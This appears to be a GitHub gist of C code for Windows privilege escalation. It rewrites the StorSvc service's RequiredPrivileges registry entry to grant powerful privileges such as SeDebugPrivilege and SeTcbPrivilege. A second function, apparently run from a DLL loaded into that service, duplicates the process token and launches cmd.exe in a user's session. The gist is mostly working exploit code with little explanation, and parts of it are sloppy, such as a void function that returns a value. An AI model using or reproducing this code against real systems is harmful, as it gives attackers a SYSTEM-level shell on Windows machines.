Skip to content

Instantly share code, notes, and snippets.

@v1stra
Last active September 29, 2023 13:50
Show Gist options
  • Select an option

  • Save v1stra/dafa5646efce1833e5d5b2a3ffac5905 to your computer and use it in GitHub Desktop.

Select an option

Save v1stra/dafa5646efce1833e5d5b2a3ffac5905 to your computer and use it in GitHub Desktop.
Stuff
/* Overwrites the privileges for the service in the registry */
BOOL AddPrivilegeToStorSvc() {
HKEY hKey;
LONG lResult;
TCHAR * szValue = TEXT("SeTcbPrivilege\0SeLoadDriverPrivilege\0SeBackupPrivilege\0SeRestorePrivilege\0SeSystemEnvironmentPrivilege\0SeManageVolumePrivilege\0SeTakeOwnershipPrivilege\0SeDebugPrivilege\0SeAssignPrimaryTokenPrivilege\0\0");
// Open the key
lResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, TEXT("SYSTEM\\CurrentControlSet\\Services\\StorSvc"), 0, KEY_READ | KEY_SET_VALUE, &hKey);
if (lResult != ERROR_SUCCESS) {
return FALSE;
}
// Set the new value
lResult = RegSetValueEx(hKey, TEXT("RequiredPrivileges"), 0, REG_MULTI_SZ, (const BYTE*)szValue, 200);
RegCloseKey(hKey);
return lResult == ERROR_SUCCESS;
}
/* Triggers a command prompt in the target users' session */
void DllCmd() {
HANDLE hToken;
HANDLE hDupToken;
DWORD sessionId = 1; // Session ID of the user (use qwinsta)
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
// Get a handle to current process token
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
// Create a primary token from impersonation token by calling DuplicateTokenEx
DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityAnonymous, TokenPrimary, &hDupToken);
// Set the session id of the user session on the token
SetTokenInformation(hDupToken, TokenSessionId, &sessionId, sizeof(sessionId));
si.cb = sizeof(si);
si.lpDesktop = TEXT("WinSta0\\Default");
BOOL ret = CreateProcessAsUser(hDupToken, NULL, TEXT("\"cmd.exe\""), NULL, NULL, FALSE, CREATE_NEW_PROCESS_GROUP | CREATE_NEW_CONSOLE | CREATE_BREAKAWAY_FROM_JOB, NULL, NULL, &si, &pi);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return ret;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment